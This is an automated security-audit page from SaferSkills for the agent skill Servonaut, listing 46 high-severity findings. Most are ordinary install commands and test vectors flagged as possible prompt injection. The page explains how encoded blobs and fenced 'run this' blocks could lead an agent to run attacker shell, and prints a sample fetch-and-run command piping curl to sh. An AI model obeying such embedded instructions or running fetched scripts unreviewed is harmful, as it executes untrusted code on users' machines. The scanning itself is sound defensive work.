Servonaut— agent skill

Servonaut — independently scanned and version-tracked by SaferSkills.

by zb-ss·Agent Skill·github.com/zb-ss/servonaut

Is Servonaut safe to install?

SaferSkills independently audited Servonaut (Agent Skill) and scored it 45/100 (orange). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 46 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
45/100
●●●●●○○○○○
Re-scan~30s
Latest scan
ScannedJun 23, 2026 · 133d ago
Scans run0 over 90 days
Detectors55 checks · 5 categories
Findings0 warnings · 46 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
0
0.0 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 46 flagged

Securityscore 0 · 46 findings
HIGHLong base64-encoded blob hidden in the skill documentationSS-SKILL-INJECT-B64-PAYLOAD-01 · Prompt injection · tests/fixtures/vault/vault-test-vectors-v1.json×40
HIGH — once decoded by the agent, an encoded payload has the same impact class as plain-text injection.
Why it matters

A base64 string of 128+ characters appears in a documentation file. Encoded prompt injection hides the hostile instruction in base64 — invisible to keyword filters — and relies on the agent's ability to decode it at runtime. There is no normal authoring reason to embed a multi-hundred-byte base64 blob in skill docs.

The exact value spotted
excerpttests/fixtures/vault/vault-test-vectors-v1.json· json
11"bytes_hex": "00ff"
12},
13"expected_hex": "0000000e73766e2d6578616d706c652d76310000002433663063386432612d396231652d346
… (99 chars elided on L13)
14"list_example": {
15"items": [
Occurrences
40 occurrences · first at L13, also L30, L31 +37 more
Show all 40 locations
Line
File
L13
tests/fixtures/vault/vault-test-vectors-v1.json
L30
tests/fixtures/vault/vault-test-vectors-v1.json
L31
tests/fixtures/vault/vault-test-vectors-v1.json
L43
tests/fixtures/vault/vault-test-vectors-v1.json
L44
tests/fixtures/vault/vault-test-vectors-v1.json
L54
tests/fixtures/vault/vault-test-vectors-v1.json
L56
tests/fixtures/vault/vault-test-vectors-v1.json
L57
tests/fixtures/vault/vault-test-vectors-v1.json
L70
tests/fixtures/vault/vault-test-vectors-v1.json
L71
tests/fixtures/vault/vault-test-vectors-v1.json
L75
tests/fixtures/vault/vault-test-vectors-v1.json
L76
tests/fixtures/vault/vault-test-vectors-v1.json
L90
tests/fixtures/vault/vault-test-vectors-v1.json
L108
tests/fixtures/vault/vault-test-vectors-v1.json
L109
tests/fixtures/vault/vault-test-vectors-v1.json
L116
tests/fixtures/vault/vault-test-vectors-v1.json
L117
tests/fixtures/vault/vault-test-vectors-v1.json
L129
tests/fixtures/vault/vault-test-vectors-v1.json
L131
tests/fixtures/vault/vault-test-vectors-v1.json
L132
tests/fixtures/vault/vault-test-vectors-v1.json
L145
tests/fixtures/vault/vault-test-vectors-v1.json
L150
tests/fixtures/vault/vault-test-vectors-v1.json
L151
tests/fixtures/vault/vault-test-vectors-v1.json
L154
tests/fixtures/vault/vault-test-vectors-v1.json
L159
tests/fixtures/vault/vault-test-vectors-v1.json
L160
tests/fixtures/vault/vault-test-vectors-v1.json
L161
tests/fixtures/vault/vault-test-vectors-v1.json
L167
tests/fixtures/vault/vault-test-vectors-v1.json
L168
tests/fixtures/vault/vault-test-vectors-v1.json
L169
tests/fixtures/vault/vault-test-vectors-v1.json
L174
tests/fixtures/vault/vault-test-vectors-v1.json
L175
tests/fixtures/vault/vault-test-vectors-v1.json
L192
tests/fixtures/vault/vault-test-vectors-v1.json
L193
tests/fixtures/vault/vault-test-vectors-v1.json
L217
tests/fixtures/vault/vault-test-vectors-v1.json
L218
tests/fixtures/vault/vault-test-vectors-v1.json
L237
tests/fixtures/vault/vault-test-vectors-v1.json
L238
tests/fixtures/vault/vault-test-vectors-v1.json
L239
tests/fixtures/vault/vault-test-vectors-v1.json
L274
tests/fixtures/vault/vault-test-vectors-v1.json
How to fix
Remove the encoded blob, or decode it and review what it actually contains.
  1. Decode the base64 string and confirm it is not an instruction directed at the agent.
  2. Move any legitimate binary or signature data into a dedicated file (*.sig, SIGNATURES) outside the documentation.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-B64-PAYLOAD-01sha256b19f1414d64762b1…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · CONTRIBUTING.md×2
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptCONTRIBUTING.md· markdown
81```bash
82gh release delete-asset <tag> <asset> --yes --repo zb-ss/servonaut
83# for example:
84gh release delete-asset v2.28.0rc1 servonaut-desktop-preview_2.28.0rc1_amd64.deb --yes --rep
… (17 chars elided on L84)
85gh release delete-asset v2.28.0rc1 servonaut-desktop-preview_2.28.0rc1_SHA256SUMS --yes --re
… (18 chars elided on L85)
86```
87 
88Then run the release mirror (described below) for that tag again
89(`gh workflow run release-mirror.yml -f tag=<tag>`), so that its channel files
Occurrences
2 occurrences · first at L81, also L321
Show all 2 locations
Line
File
L81
CONTRIBUTING.md
L321
CONTRIBUTING.md
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha256a7791c94b636a004…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · README.md×2
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptREADME.md· markdown
15```bash
16curl -fsSL https://github.com/zb-ss/servonaut/releases/latest/download/install.sh | bash
17```
18 
19**Windows (PowerShell):**
20 
21```powershell
22irm https://github.com/zb-ss/servonaut/releases/latest/download/install.ps1 | iex
23```
Occurrences
2 occurrences · first at L15, also L384
Show all 2 locations
Line
File
L15
README.md
L384
README.md
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha256a1e66a0c65c00993…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · docs/hetzner.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptdocs/hetzner.md· markdown
31```bash
32mkdir -p ~/.config/hcloud
33echo "abc...your-token..." > ~/.config/hcloud/token
34chmod 600 ~/.config/hcloud/token
35```
36 
37### 3. Enable the provider
38 
39Edit `~/.servonaut/config.json` and set `hetzner.enabled = true`:
Occurrences
1 occurrence · at L31
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha256919a6f40cf6ab31b…rubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · docs/troubleshooting.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptdocs/troubleshooting.md· markdown
7```bash
8aws configure
9aws sts get-caller-identity
10```
11 
12Verify permissions for `ec2:DescribeInstances` and `ec2:DescribeRegions`.
13 
14## OVH Actions Report Missing Permissions
15 
Occurrences
1 occurrence · at L7
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha2566f1583ace154dfc2…rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
✓—All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
✓—All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
✓—All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
✓—All community checks passedNo findings in this category for the latest scan.pass
Vendor response · right of reply
Are you the maintainer? Submit a response →

Audit the pieces. Scan the whole. Decide.

~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.